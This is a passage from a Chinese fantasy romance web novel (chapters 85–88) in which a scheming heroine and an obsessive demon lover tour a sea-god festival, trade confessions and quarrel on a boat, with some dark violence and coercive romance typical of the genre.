“在下认为,姑娘这次海神祭,必定能够找到命定之人!” 他笑着,程今越没有多说什么,只是笑着点了点头。 “借您吉言。” “哎,这有什么,我都是实话实说。” “姑娘一定要在海神祭好好玩啊,若是有缘分,还可以得到被海神选中,得到海神祝福呢!” 程今越突然抬起头。 “被海神选中是什么意思?宁城当真有海神吗?可这不是传说中的事情吗?” 程今越问。 她毫不吝啬,又递给了小哥几块灵石,出手阔绰大方,让小哥脸上的笑更加深邃,更加点头哈腰。 “哎呀姑娘,你这也太客气了,不过是一些大家都知道的事情,这怎么好使得。” 他又将刚烤好的烤串递给了程今越一大把,随后又继续讲。 “海神的确是传说中的事情,我也的确没有见过海神,但是每年就是会有人被选中,他们会在海神祭中被邀请到海神的龙宫之中做客,获得海神的祝福。” “我身边就有人被选中过呢!就是我的表姐与表姐夫!他们在海神祭消失了一天,当时我们可急疯了,结果第二日便看到他们回来了,听他们说,他们就被邀请去了龙宫,见到了海神!” 程今越面露疑惑之色。 “我真的没有吹牛,每年都会有这样的例子,你随便去问问,甚至能问到当事人呢!” “那海神会挑选怎么样的人呢?”程今越问。 “这个我也不太清楚,好像没有特定的标准,但我知道,一定要是特别相爱的夫妻或者情人才会被海神看上呢!” “看来姑娘很想要得到海神的祝福啊!没问题的,说不定姑娘今日就能碰见命定之人!” 小哥笑着。 程今越点点头,随后转身就要走。 一只手突然抓住程今越的右臂,温热宽厚。 身后的高硕身体突然紧紧贴了上来,修长的手臂从背后搂住她,高大的体形遮挡住背后的光,让程今越身前落下片片阴影。 一张脸从程今越的头顶弯下来,侧看着她。 笑眼盈盈,眼神湿润,黑色的头发微微挡住眼睛,耳坠上挂着红色的流苏。 “小越……嘻嘻,找到你了哦……” 程今越忍不住毛骨悚然。 大衍神女的名望越来越广,程今越拥有了许多愿力,她方才用了这力量,还用了一张名贵的符咒,才趁着怀钰不注意,从他身边逃开。 而且程今越还换了一副面孔。 她才从怀钰身边离开不到一炷香的时间,没想到他这么快就找过来了…… 小哥吓得突然尖叫。 哪儿来的人? 明明这姑娘身后一人都没有,这个人是怎么跟鬼一样就突然出现了! 随后他看到高大的少年突然弯着头,以一种格外诡异的眼神看着他,他读不懂任何感情,对方笑着,“小越,他是谁啊?” 只是一瞬之间,怀钰的手贴上程今越的脸,他的头靠在程今越的头上。 程今越看着小哥的瞳孔瞪大,嘴巴大大地张开,整张脸变成青紫色,但是他却发不出一丝声音,随后他的头突然扭曲,四肢变得诡异,像是骨头被折断一般,鲜血从他的七窍之中流出,最后在程今越的面前化作了一滩血水。 程今越转头看着怀钰,难以置信。 “你在做什么?” 怀钰将程今越紧紧抱住,声调带着委屈,“小越,他不该死吗?他挑拨离间我们的关系……” 程今越习惯性地挣扎,但是却被怀钰越抱越紧。 “别抛下我……” 程今越朝四周望去,却发现街上竟然没有一个人在看他们二人,就好像视野里没有他们一般。 她心中透凉,她有些崩溃,但她暂时还能保持理智。 “知道了。”她轻轻回抱了怀钰一下。 怀钰浑身突然颤抖,体温瞬间升高,口中突然低吟。 “小越……没有人能看到我们的,你放心……” “我听到了,你想去找海神?” “我们一起吧!” “我们也是有情人啊……嗯……恨也算感情,不是吗?” 他声音低沉,带着蛊惑。 “你想杀了海神吗?” 他突然笑起来。 “然后呢?”程今越没有回答。 她讨厌就这样被人直接看穿的感觉,怀钰有些过于了解她了。 “我可以帮你杀掉海神呀。” “你不是说不想继续做我的狗了吗?” “怎么,又想被我召之即来挥之即去?” 程今越冷冷的。 “汪汪汪。” 程今越无语。 疯子就是这样,喜怒无常,飘忽不定。 程今越甚至觉得自己都要习惯了。 这太可怕了…… “可是海神只会挑选有情人去见他呢?我一个人好像不太行,必须要小越配合我呢。” 他笑着,一双猩红的眼睛弯着。 配合? 以怀钰的修为,哪里需要她的配合,只要他想要,下一秒海神就得死。 怀钰将程今越抱得格外得紧,温暖紧密。 海风轻轻吹着,等着程今越的回答。 “我有拒绝的选择吗?” “没有。” 斩钉截铁,毫不犹豫。 …… 暮色将至,灯笼的红光与祭火的明黄交织,照亮人们激动的脸庞,几条主街处处张灯结彩,宛如白昼。 街边摊位像鱼鳞般排列,糕点铺热气腾腾,贝壳珊瑚在暮色下流光溢彩,人群围聚,热闹非凡。 怀钰手上拿着好几把小哥给程今越的烤鱼,右手抱着一个椰子。 程今越走在最左边,手上抱着另外一个椰子。 四周喧闹,两人走在人群之中。 灯火阑珊,程今越抬头看着点点灯光,心中莫名有些酸涩。 她听到周围人谈笑的声音,听到打闹调笑的声音。 让她想起母亲还在的时候,那个遥远的晚间,她记得是上元节,那个时候或许能短暂地称上一家人。 那几年程今越过得还算不错,没有怎么受过伤,还认识了一些朋友,睡得足,吃得饱,还会有人记得给她的生辰,也有人给她织围巾,煮饺子。 回忆里,人物熙熙攘攘,络绎不绝,街景慢慢往后退,她有产生过抓住这些浮光掠影的想法,在长河里刻舟求剑,但最后依旧只剩她一个人站在繁华灯火之下。 有时候程今越也会觉得自己有些好笑,其实根本不能算什么重要的事吧,都是一些可有可无的东西,又有什么好怀念的呢? 但她不知道为什么眼中突然有些朦胧。 哎,她不该这样的。 在此时,一双炽热的手抓住了她冰凉的手,十指紧扣。 第85章 我们是恶贯满盈的烂人,给予彼此唯一的真心。 两人都没有说话,但是怀钰却靠程今越越来越近,暖风吹动头发,让他们柔顺的青丝交缠在一起。 暖流从掌心不断传入程今越的体中。 “小越,你看起来挺喜欢这里的。” “那我们以后就在这里生活也可以。” 程今越没忍住突然笑起来。 “一般吧,也谈不上多喜欢,更多的是新奇罢了。” “以后,你说这个不觉得很好笑吗?你过不了多久就要被仙界的人绞杀,小命都没有了,你应该先想一想你有没有以后这个东西。” 怀钰也不恼,握着程今越的手不肯松开。 他转头朝她笑着,一张少年气的脸凑到她的面前。 “会有的。” “只要小越想要和我有以后,那我们就一定会有的。” 他眼睛亮闪闪的,只是一味地笑着。 “大言不惭。” 程今越是一个非常现实的人,她从来不做不切实际的梦,也不喜欢对一件事抱有期待,因为根据她的经验来说,只要她心心念念的事,十有八九都不会成功。 她每活一天,她就只思虑当下的事情,走好当下的每一步。 程今越抬头瞥了一眼怀钰,耳坠上摆动的流苏让人挪不开眼睛,鲜艳灿烂。 有时候她还挺羡慕怀钰的,单纯,想得不多,想发疯就发疯。 就像她以前养过的一条狗一样,每天最喜欢的事情就是坐在门口晒太阳。 她想着,嘴角忍不住上扬。 “你又在骂我!” 怀钰突然指着程今越。 他佯装生气,把程今越手里的椰子抢了过来,狠狠地喝了一口。 “你干嘛!” 程今越嗔怒,毫不犹豫,狠狠地踢了他一脚,疼得怀钰闷哼一声。 “你刚刚在心里骂我,现在还踢我,程今越,你真过分!” 怀钰手里抱着两个椰子,指着程今越。 “我哪里骂你了,我在心里骂你你都知道是吧!” 程今越又朝怀钰捶了两拳,结果怀钰一身都是坚硬的肌肉,锤得她手痛。 气死她了! “你刚刚突然笑了,你在想什么,我还不知道吗!” “现在居然还怪上我了!” 怀钰委屈。 程今越不管,又朝怀钰踢了两脚,打了好几拳,心里才泄愤。 她嘴角忍不住上扬,怀钰也笑起来。 “幼稚!” 她尽力敛起嘴上的笑,但是眼底的喜悦还是遮挡不住。 人声鼎沸,昏黄柔和的光照在二人身上。 怀钰又伸手去牵程今越的手,将她握得紧紧的。 “我也喜欢这里。” “小越喜欢的地方我都喜欢,小越喜欢的东西我都喜欢,因为我最喜欢小越。” 怀钰轻笑着。 程今越往前走着,怀钰就转头看着她,目不转睛。 “你为什么不说你喜欢我?”怀钰问。 “我不喜欢你。” “我不信。” 程今越又气笑了,轻快的笑声传出。 她又继续吃完了一根烤鱼。 “小越,你笑起来真的很好看,我喜欢看你笑。” 怀钰笑得肆意,暮光柔和地在他身上渡上淡淡的金光。 “我不是一直都是笑着的吗?” 程今越的嘴角总是淡淡上扬,带着似有若无的微笑。 温柔,脆弱,惹人亲近。 “不是那样的,小越。” “我希望你永远都开心,是因为开心而笑。” “我一定会杀了萧极,杀了仙界阻拦我们的所有人,让你不再需要欺骗任何人,这样你就不用很累了。” “你只需要骗我一个人就好了。” 怀钰将新的一根烤鱼递给程今越。 集市很吵闹,怀钰的声音却格外清晰,程今越看了一眼他,眼眸干净澄澈,憋在心里恶毒刻薄的话又没有说出口。 哎算了,反正都没有以后,干嘛要计较说的这几句话呢? 程今越心里笑着。 怀钰不喜欢说谎,也不爱说谎。 他发誓一定会做到。 “所以,小越,别难过,好吗?” 怀钰低头朝她笑着,笑眼弯弯。 程今越讨厌被人看着,她瞬间别过头,快步向前走,“你哪只眼睛看到我难过了。” “小越,你以前不是告诉过我,心里话要说出来,不要藏起来吗?” “这是你教给我的,怎么连你自己都忘了。” “其实小越才是最嘴硬的那个人。” 怀钰声音缓和。 程今越回头看向他,嘴上忍不住笑起来。 “我的心里话你想听吗?”她头也不抬。 怀钰点点头。 “我的心里话就是,我恨这个世界,我讨厌每一个人,我希望所有人都去死。” “包括你。” 程今越漫不经心地笑着。 这就是她的心里话,她一直都这么想,从她记事起,她都一直这么想。 因为她过得根本不开心,也不快乐。 为什么她要一直逃亡,为什么她要活在恐慌之下,为什么她要一直失去? 她每次看到家庭幸福美满的人,看到家财万贯的人,看到修为高深的人,她都嫉妒,她都恨不得这些人全都去死。 有时候她也会觉得自己狠毒,但她觉得,反正也没有人心疼她,为她想一想,那她凭什么要为别人想一想? 坦白来讲,支撑大多数人走下去的或许是希望,是朋友,家人,是梦想,是正义。 但支撑程今越走下去的,是恨,是不甘心。 她只想问一句,凭什么? 程今越从来没有跟别人说过心里话,因为她根本没有交心的人,也没有值得信任的人。 她从来都是孤身一人。 况且,人与人之间是不能相互理解的,因为经历是自己的,旁人是无法真正体会的。 程今越觉得说这些话很啰唆,很无用,也很无聊。 但是不知道为什么,她还是说了。 大概是觉得怀钰反正马上就要死了。 亦或是觉得,怀钰也没什么朋友,估计也就只有她一个人能说说话,跟她一样的,可怜蛋。 “真的吗?” 程今越心中沉闷,果然,依旧是被质疑,早知道就不说了。 “太好了!我也是这样想的!” 怀钰欣喜,眼中的猩红快要抑制不住。 程今越嘴角忍不住上扬,她递给怀钰一条烤鱼。 “我也恨这个世界,我也希望这些人都去死!我也的的确确这样做了!” 怀钰很激动,笑声从他嘴里洋溢而出。 “小越,我们一起吧,把仙界所有的人都杀了,把挡我们路的人都杀了。” “凭什么他们这么幸福,凭什么我们这么痛苦?” 怀钰兴奋地一把抱住程今越,巨大的体型差让程今越不得动弹。 “你做什么,四周全都是人!” 她推开怀钰。 “我不要!” 人声鼎沸的街道之中,怀钰紧紧地拥抱住程今越。 所有人喧闹着,有小贩的吆喝声,烟火气,杂耍的叫好声,路人的欢笑声。 程今越却听到了自己的心跳。 如果是别人,程今越或许会疑惑一下。 但如果是怀钰,这样想也正常。 程今越心中突然有些窃喜。 一种奇异鬼怪的感觉从她心中油然而生。 世间讲究门当户对,物以类聚人以群分,人人都有自己的朋友,都有自己的归属。 一个出身高门大户,一个出身寒门,一个生在盛世,衣来伸手饭来张口,另一个苟活世间,遭受折磨。 这样的两个人是注定不能在一起的,因为人的经历不同,差距实在是太大了,不是光靠真心就可以弥补的。 程今越从来找不到自己的归属,因为她不能理解别人,别人也无法理解她。 她恶毒,自私,为达目的不择手段。 所以她总是孤身一人。 但是怀钰不一样。 怀钰和她一样,都是烂人,恶人。 我们都为世人所抛弃,所厌恶。 我们不择手段,恶贯满盈,心狠手辣,作恶多端。 可偏偏两个最烂的人遇到了一起。 彼此厌恶又相恨。 可偏偏竟然只有彼此才能够互诉那少得可怜的真心。 又可悲又可笑。 一个魔神,竟然长出了一颗最赤诚的心。 程今越轻哼了一声。 “真是幼稚死了。” 她伸手搂了搂怀钰,意思了一下,不知道出于什么情感。 怀钰却沉闷地轻哼,整个人变得滚烫,将程今越抱得越来越紧。 她能够听到怀钰的呼吸与心跳,身体的温度在慢慢交融,手臂缠绕的那一刻,四周仿佛都静止了。 程今越觉得自己变得沉沉的,又有些轻飘飘的,她心中酸涩着,好像有一张无形的网,缠在她的灵魂上。 她觉得怀钰有些可怜,又觉得自己有些可怜。 那好吧,我们这两个这么可怜的人就互相给予一下温暖吧。 “小越,我好幸福。” 怀钰声音颤抖着。 程今越感受到自己的肩膀有些湿润,有热热的东西在流淌。 她侧过头,发现怀钰埋在她的肩膀上,一张脸半埋在里面。 她伸手随意摸了摸怀钰的头,怀钰却颤抖着。 “我真的真的特别幸福……” “我好喜欢小越……” 怀钰太渴望被爱了,这种渴望早就因为程今越成了一种病态。 只要程今越愿意给她一点温暖,哪怕这些温柔只是骗人的,但是他也甘愿自己骗自己,他甘愿沉溺在骗局里。 也好过一直孤独。 虽然他知道他这些话,就算说了千千万万遍,程今越也是不会信的。 但是没关系,他甘愿说第一万零一遍。 “好了,别哭了,我不是在你身边吗?” “丢死人啦。” 祭典在晚上才算正式开始,但是海神祭要持续整整半个月,所以程今越完全不着急,毕竟她是出来养病的,就算没有怀钰,杀掉海神对她来说并不是什么难事,毕竟萧极给了她许多侍卫。 “小越,我好像从来没有告诉过你我以前的事,我给你讲,好吗?” “我听他们说,相爱的人就是要把从前说给彼此听的。” 天色暗了下来,烟花在天空之中绽放。 “随便你。” 程今越推开怀钰,笑着往前走。 第86章 被你骗,被你利用,我甘之如饴。 月色柔和,如一盏天灯悬在暮色上,夜色下的宁城依旧喧嚣和繁华。 程今越顺着往海神祭典的方向走去,楼阁错落分布,风光迤逦,小贩挂着灯笼沿街叫卖着。 夜晚才是海神祭的重头戏,沿着几条街都格外热闹。 走到人最多的地方,便是海神庙。 靠着泽宁海,灯光绚烂,鱼龙飞舞,楼阁之上有蒙面的女子吹箫弹琴,格外热闹惬意。 到处都是人,程今越和怀钰拥挤在人群之中,怀钰搂着程今越的削薄的肩,防止她被人流带走。 怀钰刚要开口,却被程今越制止住。 “小越,不怕你笑话,其实我这是第一次和别人一起逛街,第一次正常地走在在喧闹的人群之中。” 怀钰突然开口。 程今越点点头,“别说这些难过的事。” “既然是第一次逛街,那就好好逛,难过的事,等夜深了再说。” “糖人!糖人!全宁城最好吃的糖人!” “家人吃了和和睦睦,夫妻吃了长长久久!” 怀钰听到后一句,停下了脚步。 一个面相和蔼的婆婆守的这个糖人摊子,几个栩栩如生的糖人摆在最面前,明艳的灯照在上面,色泽动人。 婆婆注意到怀钰的目光,连忙眯起眼睛招揽客人。 “公子,给这位小娘子买个糖人吧!” 怀钰看向程今越,程今越还在思考,还未张口,怀钰就已经点了点头。 “对,我要一个。” 程今越不拒绝,那就是要的意思。 “诶唷,公子,您真是选对地方了,整个宁城,就我老婆子的技术最为厉害!” 她笑着。 “想要个什么样式?只要你说,我便能给你画!” 婆婆拍着胸脯,格外自信。 两人顿了顿,婆婆笑着问道,“公子与娘子真是登对啊,郎才女貌,老婆子从未见过如此神仙眷侣,真是大饱眼福!” “不如,我为二位用糖浆画一幅画?” 婆婆此话一出,怀钰脸上的笑不自觉地升起。 是啊,他就是和小越*天生一对,怎么会有人这么有眼光! “这难度可不小,你当真有这个本事?”怀钰问。 “自然!” 怀钰手中扔出铜钱,“画一个我看看。” “包在我身上!”她笑眯眯地收了钱。 动作利落,她用手里的铜勺在吐泡的糖锅里搅出一圈黏稠的琥珀色的涟漪,舀起一勺糖浆,手腕轻抖,糖丝便如金线般落地。 程今越看着对方熟练地动作,她与怀钰的脸便一点一点地出现在案板上,栩栩如生。 画中两人紧紧依偎着,脸上还带着笑。 模样俏丽,精致无比。 婆婆将糖人递给程今越,程今越道谢后小心翼翼接过,将糖人递给怀钰看,却发现怀钰已经在盯着她看了。 “像吗?”程今越问。 “你比画得更好看!”怀钰笑着。 “正是正是!两位一定要天长地久,情比金坚!”婆婆祝贺着。 程今越拿着糖人,转来转去,小心地看着。 她不是第一次买这个东西,但是糖人变成了她与怀钰的模样,她的心中便格外新奇。 “你吃吧!”程今越递给怀钰。 “你不喜欢吗?”怀钰立马问。 “我很喜欢呀。” “那你为什么不吃?” “你不喜欢吃甜的吗?” “并非如此,只是因为……” 程今越愣了愣。 因为太精致好看了,她有些舍不得。 程今越一直颠沛流离在外,并不挑食,也没有什么特别喜欢吃的东西。 只是她很恋旧,也很喜欢美好的东西。 或许是因为得到得太少,失去得太多,所以美好的东西,总是易逝的,是虚假的,是不会存在于她身上的。 “没关系,小越,虽然它做得很好看,但归根到底是让人吃的。” “你要是喜欢,我们还可以让她做更多,做好几个,我们每天都可以来买!” 怀钰笑着安慰程今越。 程今越笑起来,然后一口先咬在怀钰的头上,“先吃了你,你最该死。” “喂,你什么意思。” 怀钰一把夺过程今越手上的糖人,一口咬在程今越的头上,“其实最该死的是你,程今越。” 他虽然语气嗔怒,整个人却是笑着的。 “我才不要去死,你去死就好了,我们已经共贫穷了,富贵的时候你就不要缠着我了。”程今越笑着,又把怀钰的身子吃掉。 “做梦,程今越,我就算是死,也不会放过你,我要变成厉鬼,永永远远地缠着你。” 怀钰吃掉程今越的身子。 “幼稚死了!” 程今越轻笑着,笑眼弯弯。 “像我们这样的恶人,就应该一起去死。” “一起下地狱吧,程今越。” 怀钰将糖人吃光,只剩一根竹签。 “去死?谁说的。” “恶人活千年,该死的根本就不是我们,而是其他人!” 程今越将竹签折断,扔在垃圾堆里。 “你说得对。” 前面就是泽宁海的分支河流,河上有水市,灯火通明,海风暖暖地吹来。 两人包了一只船,船夫坐在船头,两人坐在船尾。 穿上格外宽敞干净,还有火炉与水果,倒是格外干净惬意,不用在街上和一群人挤在一起了。 “夫妻俩,要去哪儿?”四周嘈杂,又隔得远,船夫大声问着。 “沿着城逛一圈就好了。”程今越回答。 怀钰脸上的笑更加灿烂,虽然他知道,这只是程今越懒得解释,但是这样一个微小的动作,就是能够让他开心很久。 程今越坐在船边,抬头看着岸边热闹的集市,灯火点缀着这座城,她看着岸上所有人的欢声笑语,嘴角也忍不住带着笑。 怀钰贴近她,程今越不自觉地靠在了怀钰的肩上。 等反应过来时,怀钰也在朝她看的方向望去。 灯光是昏暗又暖黄的一小团,照亮在他的侧脸,整个人像是用温柔的笔触一点点染上去的,像是一团光染在黑暗里。 “真好啊。” 他突然感叹道。 “没有遇到小越之前,我甚至没有朋友。” “可你不是魔吗?”程今越问。 “在以前,很多的时候,我是待在人间的,我的父母都是普通的人族,所以我从来没有觉得我是个魔种,也没有魔种找上我,来和我交朋友。” 他淡淡地说着。 “不过在人间我也没有交到朋友。” “因为我身上有魔气,普通人只要待在我身边,就会忍不住从心底对我产生恐惧与厌恶。” “当然,我以前是不知道这个的。” 怀钰笑着。 这句话说得轻松,但听着怎么都有些心酸。 因为要得到这个结论,就需要一次又一次的实践,也就是意味着被一次又一次地抛弃与厌恶。 “你其实可以不用和我说这个。” 程今越突然开口。 程今越年纪越大,经历的事情越多,她便越不喜欢去听这些让人悲伤的往事。 不是因为冷漠,而是因为共情能力太强。 虽然程今越这些年过得很苦,但是或许是本性使然,又或是她的母亲是一个很好的人,她的本性并不坏。 如果有机会,如果她的命更好一点,如果她更幸运一点…… 可惜没有如果。 程今越讨厌自己难过的样子,讨厌自己真正为别人伤心的样子。 因为她知道,在这个世道,像她这样的亡命之徒,就是要冷漠,自私,才能活下去。 “小越不想听吗?” 怀钰的声音软了下来,他愣愣地看着程今越,握住程今越冰冷的手。 程今越不想去看他的眼睛。 “要说就说吧,反正我也不能安慰你什么。” “难过的事也要告诉别人吗?” 将伤疤揭开,难过就会再次涌上心头,会再次在心头环绕,人会变得脆弱,犹豫。 程今越不要变成这样。 程今越从来不愿意把难过的事告诉别人,因为她并不觉得有谁值得她的信赖。 人与人吐露真心本就是一场赌注,而且大多数时候都会输。 “对,我要告诉小越。” “因为我从来没有告诉过别人,但是我想告诉小越,因为我认为小越是值得信任的人,是我爱的人,是我在意的人。” 怀钰看着她,看着远处灯火阑珊。 “我吗?” 程今越突然笑起来。 “大人,你有没有搞错。” “我是一个坏人,恶人,烂人,我骗了你,欺骗了你的感情,害你身受重伤。” 她笑着,看着怀钰。 她从来都理性至极,所有动人的话在她的耳边都会先经过冷酷无情的判断。 每当有谁说爱她这种情话的时候,程今越总会先想,对方是否要利用自己,是否要欺骗自己,是否要报复自己。 所有情情爱爱的话语,只会化作她嘴角若有若无的微笑,若有所思的眼眸。 更何况,对方是怀钰。 怀钰现在对她的作用无非只有身上的灵根,所以她现在已经没有必要和怀钰藕断丝连,但程今越的原则就是不拒绝,不承认,不负责。 她会尽基本义务,告诉对方。 如果对方还会贴上来,那就跟她没有任何关系了,这一切都是对方自愿的。 “是,我都知道,但我不在乎。” 程今越看着怀钰目光坚定的眼睛,直直地看着她,下颌清晰漂亮,薄唇紧抿。 “我想告诉你这些,不是因为你对我怎么,而是因为我觉得你值得。” “我知道你骗了我,但是你骗我,利用我,必然是有原因的。” “程今越,你有很多秘密,你不告诉我,但我也不在乎,你愿意告诉我的时候,我也很乐意去听。” “我告诉你我的往事,我不怕你觉得我好笑,也不为了让你心疼我,也不怕这些事被公之于众,成为你刺向我的一把尖刀。” “我只是想告诉你我的真心,我愿意把一整颗心都坦诚地亮给你,这是我自己的选择,我是自愿的,我甘之如饴。” 喧闹的声音化作了背景,冗杂的人群融进了夜色之中,怀钰的声音在此刻如此清晰鲜明。 程今越甚至能够听到自己心跳的声音。 扑通、扑通。 第87章 我只想要你。 天色全然暗下,长空如墨,明月高悬。 程今越抬头看着清月,感受着凉风从脸庞吹拂,吹动程今越的长发。 青丝打在怀钰的脸上,不痛,但格外地痒。 怀钰闻得到程今越身上的香味,随着风钻进他的鼻腔之中,让他不禁滚动着喉咙。 船夫的船划得慢悠悠的,怀钰的心也随着海水荡漾着。 “该从什么地方讲起呢?”怀钰突然说着,思考着。 其实他本来是想好怎么说的,但是一下心神晃动,想说的话又咽在了喉咙里。 好像说怎么都词不达意。 程今越突然笑起来,她转头看向怀钰,“说了半天,你连要讲什么都不知道吗?” 程今越躺在地上,双手枕在脑后,抬头看着天空之中的月亮。 但她又觉得有些硬,往怀钰身上靠了靠,将头顺势枕在了怀钰的大腿上。 此时怀钰正要开口。 “那就从……” 他突然噤了声,整个人突然愣了一下,大脑瞬间发蒙,变得有些空白。 程今越瞬间感受到怀钰整个人的体温开始升高,像一个茶壶一样开始冒烟,大腿上变得格外滚烫,肌肉也变得格外僵硬。 怀钰觉得整个人有些胸闷气短,程今越的头就枕在他的大腿上,而且是程今越主动靠近来的。 他觉得有些口渴,他听见了自己心跳的声音。 程今越抬头看了一眼怀钰,“继续说啊,怎么还变成结巴了。” 她没耐心地说道。 程今越就是这样一个擅长欺软怕硬的人,需要人的时候,她就装得温温柔柔,柔柔弱弱,格外乖巧。 只要不需要对方了,她恶劣的本性便暴露无遗。 怀钰将桌子上的茶轻轻倒了一杯,缓缓地喝了一口,目光往远处看着,掩饰着自己眼中的慌张。 他觉得自己的脸好烫,也不知道程今越看了会不会笑话他。 “催什么催,程今越!” 他怒道。 “你以前对我什么态度,现在又对我什么态度,你看看你现在这一副嘴脸!” 他低头看着程今越,笑着。 怀钰的皮肤非常白,五官轮廓利落锋利,漆黑的眼睛里透露着红色,整个人散发着挥不去的桀骜。 “是啊,我对你就这副嘴脸。” “你不乐意?” 程今越抬头看着他的眼睛,怀钰俯下身子,四目相对,昏黄的灯光照在程今越的脸上,让他的心跳都慢了一拍。 对方挑着眉,翘着嘴,目光狡黠,机灵古怪,还带着一些得意。 怀钰突然想起程今越以前养过的几只猫,就像它们的主人一样,高傲。 “神女殿下,作为你的信徒,我当然乐意了。” 怀钰勾唇笑起来,随后趁程今越不注意,他俯下身,极快地亲吻了程今越的唇。 程今越瞬间瞳孔瞪大,坐起身来,嗔怒地看着怀钰,随后毫不犹豫,她抬手就是一巴掌,狠狠地打在怀钰的脸上。 清脆的声音回荡四周,怀钰却只是一笑,眼尾上扬,整个眼睛眯起来,耳边流苏随着他的动作摇晃着。 “好爽。”两个字从他的喉咙里沉沉吐露而出。 程今越突然觉得自己的手也脏了。 看着怀钰这副洋洋得意的样子她就浑身烦躁,偏偏她拿怀钰一点办法都没有。 但是她就是不爽,怀钰爽了,她就不爽。 她又抬起另一只手给了怀钰一巴掌,随后有经验地,迅速将手收回去。 她是真怕怀钰又舔她的手。 “谢谢殿下的赏赐。”怀钰又将程今越从背后抱住,环住她的腰,贴在她的颈窝处,深深地嗅着程今越身上的香气。 船夫划着船,他听不见船尾的交谈的声音,但是他却突然听到了一声清脆的巴掌声。 他瞬间将心提到嗓子眼。 这是怎么回事?夫妻俩刚才不还好好的吗,怎么现在还吵起来了?吵吵就算了,怎么还动手了? 他为了整条船的安危,忍不住往后瞥了一眼。 却看到样貌出众的二人紧紧依偎在一起,脸上还带着笑。 非礼勿视,他瞬间将头转回来。 船夫:? 可当他刚把头转回去,又是一声清脆的巴掌声。 以防万一,他还是又多看了一眼。 谁知道这对小情侣却依偎得更紧了。 这是什么新的相处方式吗?好像有些新奇。他怎么从来没有见过这样的。 难道是其他地方的习俗吗? 他顿时摇了摇头,随后专心地继续划船。 长空之上,澄澈如水,凉风吹过两人因为打闹而绯红的脸。 “程今越,我算是懂了。” “你这个人就是叛逆,桀骜不驯,其实你比谁都高傲,狂傲。” “就应该像现在这样,好好地把你捆起来,这样你终于乖了,终于听话了。” 怀钰靠在程今越耳畔,轻笑着,热气吹进她的耳朵之中,带着戏谑与蛊惑。 程今越的手被怀钰反扣在后背,利落地用怀钰头上的发绳捆了起来。 怀钰和程今越完全不是一个体型,她躺在怀钰的怀里,就像是一只脆弱的布娃娃。 程今越嗔怒地回头看着他,但是她却不能开口,喉咙也被怀钰定住了,只能发出“唔唔”的哭喊声。 怀钰看着程今越双眼瞪圆,气鼓鼓的,做着无用的挣扎时,他就忍不住笑起来。 “乖一点,神女殿下。” 怀钰轻轻抚摸着程今越的头,又轻轻抚摸着她的脸。 四周终于又安静下来。 程今越被怀钰紧紧包裹着,男人疯狂地吸吮着她身上的气味,喉咙发出奇怪的声音。 “小越,那就从我的出生开始讲起吧,因为我记得,史书里面,好像都是从这个人的出生开始讲起。” 怀钰想了很久。 其实他也不知道该说什么,因为他的人生实在是太平平无奇了,好像没有什么可以说道的。 史书里面,会讲明一个人的出生,籍贯,官职,家世,生平经历。 但是怀钰好像什么都没有。 他的人生其实很简单,简单得一句话都能说完。 他是一个没有秘密的人。 与程今越比起来,他干净得像一张白纸。 “我的父母都是普通的人类,不过很可笑的是,我居然是一只天生的魔种。” “所以我的母亲抛弃了我,我的父亲要杀掉我。” “没有人喜欢我,更没有人爱我。” 四周喧闹,但是程今越只能听见怀钰的声音。 像是故事翻到了第一页,怀钰娓娓道来。 魔种的记忆很好,从生下来的那一刻,他便已经拥有了记忆,拥有了法力。 但有时候,记性太好,也不是一件好事。 怀钰根本不想记得那么多回忆。 “我那时在想,怎么会有人对自己的孩子也会痛下杀手呢?所以我一直在等,我等着有人来救我。” “但是没有,没有故事里面的跌宕起伏,我也不是故事的主角,起码不是正义的那一方。” “我被捆上了火架,他们要将我烧死。” “所以,很简单,我想活下去,他们都死了,村子里的人也都死了。” 他情绪没有什么波动,只是淡淡地说着。 “随后我便从村子里面逃出,在人间生长着。” “我尝试和他们交朋友,但是没有人愿意和我玩,他们骂我是没有父母的孤儿。” “当然,也有人尝试和我来往,但是他们演得太假了,他们眼底对我的厌恶与恐慌根本藏不住。” “我想合群,所以我尝试睁一只眼闭一只眼,但是换来的却是对我的屠杀。” “后来我才反应过来,或许不是他们演得太假,而是我们本就不是一路人,因为我是魔,因为我的血脉,人们会从骨子里对我产生厌恶与恶心。” “所以,其实从生下来,命运就已经注定好了所有。” 怀钰抱着程今越,他已经解除了对程今越声音的禁令。 但是程今越没有开口。 “于是,我把他们全杀了。” “魔种就应该做魔种该做的事。” 血腥与杀戮是他本性里生存的东西。 “后来的事你应该都清楚,我被仙界追杀,他们穷追不舍,后来我被人暗算,被百仙关进了封印之中,他们想要我死,可我偏偏死不了,我逃了。” 怀钰在世间百载岁月,仔细想来,好像真的没有什么值得怀念的事情。 要是他真的是一只没有情感的魔种也还好,起码他不会痛苦。 可偏偏他有自己的情感,有喜怒哀乐,他只是流着魔种的血,但是本质上就是一个人。 “有时我也在想,会不会我第一步就已经走错了,或许我不应该杀了他们,不应该犯下这样的大错。” “如果重来一次,我更温顺一些,更能懂得人的情感,更正常一些,我现在会不会更好一些?” “不会。” 程今越突然开口。 她的声音独特,像是雨打在叶子上的声音,清脆干净。 “说不定你没选的那条路,还会更烂,更不如愿。” 怀钰以为她会安慰自己。 “你先别难过,没有什么好难过的。” “因为你觉得你现在过得烂,过得不如意,其实你以后说不定还会过得更烂,更不如意。” 她回过头,一双明媚的眼睛看着怀钰。 “没有必要想因果,以前愚钝,蠢,弱小,又或是被人骗,谁的过错,造成了什么因果。怀钰,那不重要。” “过去的事情,难过的事情,失去的东西,我们都不要了,因为那已经过去了,失去了。” “我讨厌讲什么大道理,因为我自己不喜欢听。” “我们要做的就是往前看,告诉自己,你要什么,你想要什么。” “想要就去做,得到,拥有,永不停息。” 这句话都还没来及开口。 怀钰就已经毫不犹豫地回答。 “我想要你。” “我只想要你。” “你要做的,就是我要做的。” 第88章 醉酒。 程今越到了嘴边的话又止住了,她愣愣地看着怀钰,忍不住一笑。 她心中有些难以言说的感情。 又觉得好笑,又觉得无奈。 她就不该去听怀钰去说这些东西,她觉得怀钰有些蠢,但事实上有时候她也不聪明。 跟一个魔种有什么好聊的,他的嘴巴里也就只能说出这样的话了。 程今越白了怀钰一眼,别过头,看着外面灯火璀璨,喧闹的声音之中,程今越耳边却能听清怀钰的呼吸声。 可怀钰却又凑上来,将脸贴到程今越的脸庞。 “小越……你为什么不理我?” “是我说错什么了吗?” 他声音委屈,一双眼眸蹙着,水汪汪地看着程今越。 程今越想要推开怀钰,却又被他紧紧抱住,像是被黏住了一样。 双手依旧被他扣住,完全无法动弹。 